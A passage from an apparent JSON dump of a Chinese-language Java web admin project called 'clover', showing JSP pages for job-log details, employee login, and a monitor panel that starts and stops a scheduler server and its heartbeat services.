class=\"icon-eye-open\"></i>查看</a>\r\n\t\t\t  </td>\r\n\t\t  </tr>\r\n\t  <%\r\n\t\t  }\r\n\t  }else {\r\n\t  %>\r\n\t  <tr>\r\n\t\t  <td colspan=\"8\" style=\"text-align: center;\" nowrap>暂无相关记录</td>\r\n\t  </tr>\r\n\t  <%\r\n\t\t  }\r\n\t  %>\r\n         \r\n      </tbody>\r\n     </table>\r\n    </div>\r\n\t<!-- 查询详情弹出层开始 -->\r\n\t<div id=\"detailDiv\" class=\"modal hide fade\">\r\n\t\t<div class=\"modal-header\">\r\n\t\t\t<a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t\t<h3>日志详细</h3>\r\n\t\t</div>\r\n\t\t<div class=\"modal-body\">\r\n\t\t\t<table class=\"table table-bordered table-hover\">\r\n\t\t\t\t<tbody>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>System ID:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailSystemId\" name=\"detailSystemId\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>IP:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailIp\" name=\"detailIp\"readonly />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Job Key:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" name=\"detailJobKey\"name=\"detailJobKey\"readonly />\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Exec Method:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailExecMethod\" name=\"detailExecMethod\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Exec Result:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<textarea id=\"detailExecResult\" cols=\"5\" rows=\"10\" readonly></textarea>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Exec Time:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailExecTime\" name=\"detailExecTime\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>TS:</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<input class=\"form-inline span3\" type=\"text\" id=\"detailTs\" name=\"detailTs\" readonly/>\r\n\t\t\t\t\t\t<font color=\"red\">*</font>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\">\r\n\t\t\t\t\t\t<center>\r\n\t\t\t\t\t\t\t<button class=\"btn btn-success\" data-dismiss=\"modal\">关闭</button>\r\n\t\t\t\t\t\t</center>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t</div>\r\n\t<!-- 查询详情弹出层结束 -->\r\n  </body>\r\n</html>\r\n\r\n\r\n<!-- 编辑弹出层结束 -->\r\n<script type=\"text/javascript\">\r\n\tfunction clearQuery() {\r\n\t\t$(\"#qSystemId\").val(\"\");\r\n\t\t$(\"#qJobKey\").val(\"\");\r\n\t\t$(\"#qIp\").val(\"\");\r\n\t\t$(\"#qExecMethod\").val(\"\");\r\n\t}\r\n\r\n\tfunction toView (_id){\r\n        var url=\"servlet/cloverServletHandle.do?action=handleLogDetail&id=\"+_id+\"&r=\"+Math.random();\r\n        $.get(url, null, function(data){\r\n            if(null==data ||data.length==0){\r\n                alert(\"系统出现异常，请联系管理员\");\r\n                return;\r\n            }\r\n            eval(\"var resultObj = \"+data);\r\n            $(\"#detailSystemId\").val(resultObj.systemId);\r\n            $(\"#detailIp\").val(resultObj.ip);\r\n            $(\"#detailJobKey\").val(resultObj.jobKey);\r\n            $(\"#detailExecMethod\").val(resultObj.execMethod);\r\n            $(\"#detailExecResult\").val(resultObj.execResult);\r\n            $(\"#detailExecTime\").val(resultObj.execTime);\r\n            $(\"#detailTs\").val(resultObj.ts);\r\n            $(\"#detailDiv\").modal({backdrop: 'static', keyboard: false});\r\n        });\r\n\t}\r\n\r\n</script>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/login.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n<!DOCTYPE html>\r\n<html>\r\n  <head>\r\n    <title></title>\r\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n    <style type=\"text/css\">\r\n      body {\r\n        padding-top: 60px;\r\n        padding-bottom: 40px;\r\n      }\r\n      .sidebar-nav {\r\n        padding: 9px 0;\r\n      }\r\n    </style>\r\n      <link rel=\"stylesheet\" type=\"text/css\" href=\"css/bootstrap.min.css\" />\r\n      <link rel=\"stylesheet\" type=\"text/css\" href=\"css/bootstrap-responsive.min.css\" />\r\n      <link rel=\"stylesheet\" type=\"text/css\" href=\"css/style.css\" />\r\n      <!--[if lt IE 9]>\r\n      <script type=\"text/javascript\" src=\"/js/html5.js\"></script>\r\n      <![endif]-->\r\n      <script type=\"text/javascript\" src=\"js/jquery-1.7.1.min.js\"></script>\r\n      <script type=\"text/javascript\" src=\"js/bootstrap.min.js\"></script>\r\n    <script>\r\n        $(document).ready(function(){\r\n\r\n     // <!--登录方法开始-->\r\n          $(\"#employeeCode\").blur(function(){\r\n              var employeeCode= $(\"#employeeCode\").val();\r\n              if(employeeCode.length==0&&employeeCode==''){\r\n                  $(\"#employeeCodeAlert\").html(\"<font size='4' color='red'>×</font>\");\r\n                  $(\"#employeeCode\").focus();\r\n              }else{\r\n                  $(\"#employeeCodeAlert\").html(\"<font size='4' color='green'>√</font>\");\r\n          }\r\n          });\r\n           $(\"#employeeCode\").click(function(){\r\n               $(\"#employeeCodeAlert\").html(\"\");\r\n           });\r\n\r\n\r\n          $(\"#password\").blur(function(){\r\n              var password= $(\"#password\").val();\r\n              if(password.length==0&&password==''){\r\n                  $(\"#passwordAlert\").html(\"<font size='4' color='red'>×</font>\");\r\n              }else{\r\n                  $(\"#passwordAlert\").html(\"<font size='4' color='green'>√</font>\");\r\n              }\r\n          });\r\n\r\n          $(\"#password\").click(function(){\r\n              $(\"#passwordAlert\").html(\"\");\r\n          });\r\n\r\n      $(\"#login\").click(function(){\r\n              var employeeCode= $(\"#employeeCode\").val();\r\n              var password=$(\"#password\").val();\r\n              if(employeeCode.length>0&&employeeCode!=''&&password.length>0&&password!=''){\r\n                   return true;\r\n              }else{\r\n                  return false;\r\n              }\r\n\r\n          });\r\n      \r\n      $(\"#register\").click(function(){\r\n    \t  window.self.location=\"employee_toRegister.action\";\r\n      });\r\n      \r\n      \r\n     //<!--登录方法结束-->\r\n\r\n\r\n            function submitForm(eventObj){\r\n                var e;\r\n                var code;\r\n                if(eventObj!=null){\r\n                    e=eventObj;\r\n                }else{\r\n                    e=window.event || event;\r\n                }\r\n                if(jQuery.browser.msie){\r\n                    code=e.keyCode;\r\n                }else{\r\n                    code=e.which;\r\n                }\r\n                if (code == 13){\r\n                    jQuery(\"#login\").click();\r\n                }\r\n            }\r\n\r\n        });\r\n        \r\n        \r\n\r\n    </script>\r\n  </head>\r\n\r\n  <body>\r\n    <div class=\"navbar navbar-fixed-top\">\r\n      <div class=\"navbar-inner\">\r\n        <div class=\"container-fluid\">\r\n          <a class=\"btn btn-navbar\" data-toggle=\"collapse\" data-target=\".nav-collapse\">\r\n            <span class=\"icon-bar\"></span>\r\n            <span class=\"icon-bar\"></span>\r\n            <span class=\"icon-bar\"></span>\r\n          </a>\r\n          <a class=\"brand\" href=\"#\">clover manager system</a>\r\n          \r\n        </div>\r\n      </div>\r\n    </div>\r\n\r\n    <div class=\"container-fluid\">\r\n          \r\n   <form  method=\"post\" action=\"login.action\">\r\n      <table >\r\n        <thead>\r\n         <tr align=\"center\">\r\n           <th  style=\"text-algin:center\">员工登录页面</th>\r\n           \r\n         </tr>\r\n        </thead>\r\n        <tbody>\r\n            <tr>\r\n                <td>\r\n                    <font color=\"red\">*</font>员工账号:\r\n                </td>\r\n                <td align=\"left\">\r\n                    <input type=\"text\" id=\"employeeCode\" name=\"employeeCode\"  placeholder=\"员工账号\" value=\"<s:property value=\"employeeCode\"/>\" class=\"span2\" /> <span id=\"employeeCodeAlert\"></span>\r\n                </td>\r\n            </tr>\r\n\r\n                <tr>\r\n                    <td>\r\n                        <font color=\"red\">*</font>密码:\r\n                    </td>\r\n                    <td>\r\n                        <input type=\"password\" id=\"password\" name=\"password\" placeholder=\"密码\" class=\"span2\" onkeyup=\"submitForm(event)\" /> &nbsp;<span id=\"passwordAlert\"></span>\r\n                    </td>\r\n                </tr>\r\n                  <tr align=\"center\">\r\n\r\n                      <td>\r\n                          <button id=\"login\" type=\"submit\" class=\"btn btn-primary\">登录</button>\r\n                      </td>\r\n                      <td>\r\n                          <button type=\"reset\" class=\"btn\">取消</button>\r\n                      </td>\r\n                  </tr>\r\n                   <tr align=\"center\">\r\n                       <td>\r\n\t                       <button id=\"register\" type=\"button\" class=\"btn btn-primary\">注册</button>\r\n                       </td>\r\n                       <td>\r\n                       </td>\r\n                   </tr>\r\n        </tbody>\r\n      </table>\r\n    </form>\r\n    </div>\r\n  </body>\r\n</html>\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/monitorList.jsp",
    "content": "<%@ page import=\"com.gome.clover.common.tools.CommonConstants\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.IpUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.PropertiesUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.StringUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.zk.ZKManager\" %>\r\n<%@ page import=\"com.mongodb.BasicDBObject\" %>\r\n<%@ page import=\"com.mongodb.util.JSON\" %>\r\n<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n<%\r\n\tString path = request.getContextPath();\r\n\tString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\r\n\r\n\tZKManager zkManager = new ZKManager(PropertiesUtil.loadProperties());\r\n\tString serverDataStr = zkManager.getData(CommonConstants.ZK_ROOT_PATH + \"/monitor/server/\"+ IpUtil.getLocalIP());\r\n\tString cloverServerStatus = \"0\";\r\n\tString cloverServerTS = \"\";\r\n\tString serverHeartBeatStatus = \"0\";\r\n\tString serverHeartBeatTS = \"\";\r\n\tString monitorHeartBeatStatus = \"0\";\r\n\tString monitorHeartBeatTS = \"\";\r\n\tif(!StringUtil.isEmpty(serverDataStr)){\r\n\t\tBasicDBObject serverData = (BasicDBObject) JSON.parse(serverDataStr);\r\n\t\tif(serverData.containsField(\"cloverServerStatus\")){\r\n\t\t\tcloverServerStatus = (String) serverData.get(\"cloverServerStatus\");\r\n\t\t}\r\n\t\tif(serverData.containsField(\"cloverServerTS\")){\r\n\t\t\tcloverServerTS = (String) serverData.get(\"cloverServerTS\");\r\n\t\t}\r\n\r\n\t\tif(serverData.containsField(\"serverHeartBeatStatus\")){\r\n\t\t\tserverHeartBeatStatus = (String) serverData.get(\"serverHeartBeatStatus\");\r\n\t\t}\r\n\t\tif(serverData.containsField(\"serverHeartBeatTS\")){\r\n\t\t\tserverHeartBeatTS = (String) serverData.get(\"serverHeartBeatTS\");\r\n\t\t}\r\n\r\n\t\tif(serverData.containsField(\"monitorHeartBeatStatus\")){\r\n\t\t\tmonitorHeartBeatStatus = (String) serverData.get(\"monitorHeartBeatStatus\");\r\n\t\t}\r\n\t\tif(serverData.containsField(\"monitorHeartBeatTS\")){\r\n\t\t\tmonitorHeartBeatTS = (String) serverData.get(\"monitorHeartBeatTS\");\r\n\t\t}\r\n\t}\r\n\tzkManager.close();\r\n\r\n%>\r\n<!DOCTYPE html>\r\n<html>\r\n <jsp:include page=\"/common/head.jsp\"/>\r\n  <body>\r\n \t<jsp:include page=\"/common/nav.jsp\"/>\r\n\t<div class=\"container-fluid\">\r\n\t\t<table class=\"table table-bordered table-striped\">\r\n\t\t\t<thead>\r\n\t\t\t<tr>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>Service Name</th>\r\n\t\t\t\t<th style=\"width: 10%; text-align: center;\" nowrap>Service Status</th>\r\n\t\t\t\t<th style=\"width: 20%; text-align: center;\" nowrap>ts</th>\r\n\t\t\t\t<th style=\"width: 50%; text-align: center;\" nowrap>comment</th>\r\n\t\t\t\t<th style=\"width: 10%;text-align: center;\" nowrap>操作</th>\r\n\t\t\t</tr>\r\n\t\t\t</thead>\r\n\t\t\t<tbody>\r\n            <tr>\r\n                <td style=\"text-align: center;\" nowrap>\r\n                    Clover Server\r\n                </td>\r\n                <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\tif(\"0\".equals(cloverServerStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t未启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t} else if(\"1\".equals(cloverServerStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t已启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t}else {\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t\t\t 未启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t%>\r\n                </td>\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%=cloverServerTS%>\r\n\t\t\t\t</td>\r\n\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t启动 Clover Server\r\n\t\t\t\t</td>\r\n\r\n                <td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\tif(\"0\".equals(cloverServerStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStartupCloverServer()\" href=\"#\"><i class=\"icon-edit\"></i>启动</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t} else if(\"1\".equals(cloverServerStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStopCloverServer()\" href=\"#\"><i class=\"icon-edit\"></i>停止</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t}else {\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStartupCloverServer()\" href=\"#\"><i class=\"icon-edit\"></i>启动</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t%>\r\n                </td>\r\n            </tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\tServer Heart Beat\r\n\t\t\t\t</td>\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\tif(\"0\".equals(serverHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t\t未启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t} else if(\"1\".equals(serverHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t\t已启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t}else {\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t\t未启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t%>\r\n\t\t\t\t</td>\r\n\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%=serverHeartBeatTS%>\r\n\t\t\t\t</td>\r\n\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t启动 Server Heart Beat，每隔指定（默认：2分钟）时间发送内存、cpu、活跃线程数等信息到ZK\r\n\t\t\t\t</td>\r\n\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\tif(\"0\".equals(serverHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStartupServerHeartBeat()\" href=\"#\"><i class=\"icon-edit\"></i>启动</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t} else if(\"1\".equals(serverHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStopServerHeartBeat()\" href=\"#\"><i class=\"icon-edit\"></i>停止</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t}else {\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStartupServerHeartBeat()\" href=\"#\"><i class=\"icon-edit\"></i>启动</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t%>\r\n\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\r\n\t\t\t<tr>\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\tMonitor Heart Beat\r\n\t\t\t\t</td>\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\tif(\"0\".equals(monitorHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t未启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t} else if(\"1\".equals(monitorHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t已启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t}else {\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t未启动\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t%>\r\n\t\t\t\t</td>\r\n\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%=monitorHeartBeatTS%>\r\n\t\t\t\t</td>\r\n\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t启动 Monitor Heart Beat，监控所有server节点，当server中一台不可用，\r\n\t\t\t\t\t将会把不可用server中的所有job信息转移到另一台可用server中；当所有server不可用，那就报警通知相关server负责人\r\n\t\t\t\t</td>\r\n\r\n\t\t\t\t<td style=\"text-align: center;\" nowrap>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\tif(\"0\".equals(monitorHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStartupMonitorHeartBeat()\" href=\"#\"><i class=\"icon-edit\"></i>启动</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t} else if(\"1\".equals(monitorHeartBeatStatus)){\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStopMonitorHeartBeat()\" href=\"#\"><i class=\"icon-edit\"></i>停止</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t}else {\r\n\t\t\t\t\t%>\r\n\t\t\t\t\t<a data-toggle=\"modal\" onclick=\"toStartupMonitorHeartBeat()\" href=\"#\"><i class=\"icon-edit\"></i>启动</a>\r\n\t\t\t\t\t<%\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t%>\r\n\r\n\t\t\t\t</td>\r\n\t\t\t</tr>\r\n\t\t\t</tbody>\r\n\t\t</table>\r\n\t</div>\r\n\r\n    <!-- 启动Clover Server弹出层开始 -->\r\n    <div id=\"startupCloverServerDiv\" class=\"modal hide fade\">\r\n        <div class=\"modal-header\">\r\n            <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n            <h3>Start Up Clover Server</h3>\r\n        </div>\r\n        <div class=\"modal-body\">\r\n            <p>Are you sure start up clover server? </p>\r\n        </div>\r\n        <div class=\"modal-footer\">\r\n            <center>\r\n                <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n                <button class=\"btn btn-success\" onclick=\"startupCloverServer()\">启动</button>\r\n            </center>\r\n        </div>\r\n    </div>\r\n    <!-- 启动Clover Server弹出层结束 -->\r\n  </body>\r\n <!-- 停止Clover Server弹出层开始 -->\r\n <div id=\"stopCloverServerDiv\" class=\"modal hide fade\">\r\n\t <div class=\"modal-header\">\r\n\t\t <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t <h3>Stop Up Clover Server</h3>\r\n\t </div>\r\n\t <div class=\"modal-body\">\r\n\t\t <p>Are you sure stop up clover server? </p>\r\n\t </div>\r\n\t <div class=\"modal-footer\">\r\n\t\t <center>\r\n\t\t\t <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n\t\t\t <button class=\"btn btn-success\" onclick=\"stopCloverServer()\">停止</button>\r\n\t\t </center>\r\n\t </div>\r\n </div>\r\n <!-- 停止Clover Server弹出层结束 -->\r\n\r\n <!-- 启动Server Heart Beat弹出层开始 -->\r\n <div id=\"startupServerHeartBeatDiv\" class=\"modal hide fade\">\r\n\t <div class=\"modal-header\">\r\n\t\t <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t <h3>Start Up Server Heart Beat</h3>\r\n\t </div>\r\n\t <div class=\"modal-body\">\r\n\t\t <p>Are you sure start up server heart beat? </p>\r\n\t </div>\r\n\t <div class=\"modal-footer\">\r\n\t\t <center>\r\n\t\t\t <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n\t\t\t <button class=\"btn btn-success\" onclick=\"startupServerHeartBeat()\">启动</button>\r\n\t\t </center>\r\n\t </div>\r\n </div>\r\n <!-- 启动Server Heart Beat弹出层开始 -->\r\n\r\n <!-- 停止Server Heart Beat弹出层结束 -->\r\n <div id=\"stopServerHeartBeatDiv\" class=\"modal hide fade\">\r\n\t <div class=\"modal-header\">\r\n\t\t <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t <h3>Stop Up Server Heart Beat</h3>\r\n\t </div>\r\n\t <div class=\"modal-body\">\r\n\t\t <p>Are you sure stop up server heart beat? </p>\r\n\t </div>\r\n\t <div class=\"modal-footer\">\r\n\t\t <center>\r\n\t\t\t <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n\t\t\t <button class=\"btn btn-success\" onclick=\"stopServerHeartBeat()\">停止</button>\r\n\t\t </center>\r\n\t </div>\r\n </div>\r\n <!-- 停止Server Heart Beat弹出层结束 -->\r\n\r\n\r\n <!-- 启动Monitor Heart Beat弹出层开始 -->\r\n <div id=\"startupMonitorHeartBeatDiv\" class=\"modal hide fade\">\r\n\t <div class=\"modal-header\">\r\n\t\t <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t <h3>Start Up Monitor Heart Beat</h3>\r\n\t </div>\r\n\t <div class=\"modal-body\">\r\n\t\t <p>Are you sure start up monitor heart beat? </p>\r\n\t </div>\r\n\t <div class=\"modal-footer\">\r\n\t\t <center>\r\n\t\t\t <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n\t\t\t <button class=\"btn btn-success\" onclick=\"startupMonitorHeartBeat()\">启动</button>\r\n\t\t </center>\r\n\t </div>\r\n </div>\r\n <!-- 启动Monitor Heart Beat弹出层开始 -->\r\n\r\n <!-- 停止 Monitor Heart Beat弹出层结束 -->\r\n <div id=\"stopMonitorHeartBeatDiv\" class=\"modal hide fade\">\r\n\t <div class=\"modal-header\">\r\n\t\t <a class=\"close\" data-dismiss=\"modal\" >&times;</a>\r\n\t\t <h3>Stop Up Monitor Heart Beat</h3>\r\n\t </div>\r\n\t <div class=\"modal-body\">\r\n\t\t <p>Are you sure stop up monitor heart beat? </p>\r\n\t </div>\r\n\t <div class=\"modal-footer\">\r\n\t\t <center>\r\n\t\t\t <button class=\"btn\" data-dismiss=\"modal\" aria-hidden=\"true\">关闭</button>\r\n\t\t\t <button class=\"btn btn-success\" onclick=\"stopMonitorHeartBeat()\">停止</button>\r\n\t\t </center>\r\n\t </div>\r\n </div>\r\n <!-- 停止 Monitor Heart Beat弹出层结束 -->\r\n\r\n </body>\r\n</html>\r\n\r\n\r\n\r\n<script type=\"text/javascript\">\r\n\r\n\tfunction toStartupCloverServer(){\r\n\t\t$(\"#startupCloverServerDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\tfunction toStopCloverServer(){\r\n\t\t$(\"#stopCloverServerDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\r\n\tfunction toStartupServerHeartBeat(){\r\n\t\t$(\"#startupServerHeartBeatDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\tfunction toStopServerHeartBeat(){\r\n\t\t$(\"#stopServerHeartBeatDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\r\n\tfunction toStartupMonitorHeartBeat(){\r\n\t\t$(\"#startupMonitorHeartBeatDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\tfunction toStopMonitorHeartBeat(){\r\n\t\t$(\"#stopMonitorHeartBeatDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\r\n\tfunction startupCloverServer(){\r\n\t\t$.ajax({\r\n\t\t\ttype:\"POST\",\r\n\t\t\turl:\"servlet/cloverServletHandle.do?action=handleStartupCloverServer&r=\"+Math.random(),\r\n\t\t\tdata:{},\r\n\t\t\tsuccess:function (data){\r\n\t\t\t\tif(1==data){\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n\tfunction stopCloverServer(){\r\n\t\t$.ajax({\r\n\t\t\ttype:\"POST\",\r\n\t\t\turl:\"servlet/cloverServletHandle.do?action=handleStopCloverServer&r=\"+Math.random(),\r\n\t\t\tdata:{},\r\n\t\t\tsuccess:function (data){\r\n\t\t\t\tif(1==data){\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n\r\n\tfunction startupServerHeartBeat(){\r\n\t\t$.ajax({\r\n\t\t\ttype:\"POST\",\r\n\t\t\turl:\"servlet/cloverServletHandle.do?action=handleStartupServerHeartBeat&r=\"+Math.random(),\r\n\t\t\tdata:{},\r\n\t\t\tsuccess:function (data){\r\n\t\t\t\tif(1==data){\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n\tfunction stopServerHeartBeat(){\r\n\t\t$.ajax({\r\n\t\t\ttype:\"POST\",\r\n\t\t\turl:\"servlet/cloverServletHandle.do?action=handleStopServerHeartBeat&r=\"+Math.random(),\r\n\t\t\tdata:{},\r\n\t\t\tsuccess:function (data){\r\n\t\t\t\tif(1==data){\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n\r\n\r\n\tfunction startupMonitorHeartBeat(){\r\n\t\t$.ajax({\r\n\t\t\ttype:\"POST\",\r\n\t\t\turl:\"servlet/cloverServletHandle.do?action=handleStartupMonitorHeartBeat&r=\"+Math.random(),\r\n\t\t\tdata:{},\r\n\t\t\tsuccess:function (data){\r\n\t\t\t\tif(1==data){\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n\tfunction stopMonitorHeartBeat(){\r\n\t\t$.ajax({\r\n\t\t\ttype:\"POST\",\r\n\t\t\turl:\"servlet/cloverServletHandle.do?action=handleStopMonitorHeartBeat&r=\"+Math.random(),\r\n\t\t\tdata:{},\r\n\t\t\tsuccess:function (data){\r\n\t\t\t\tif(1==data){\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n</script>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/register.jsp",
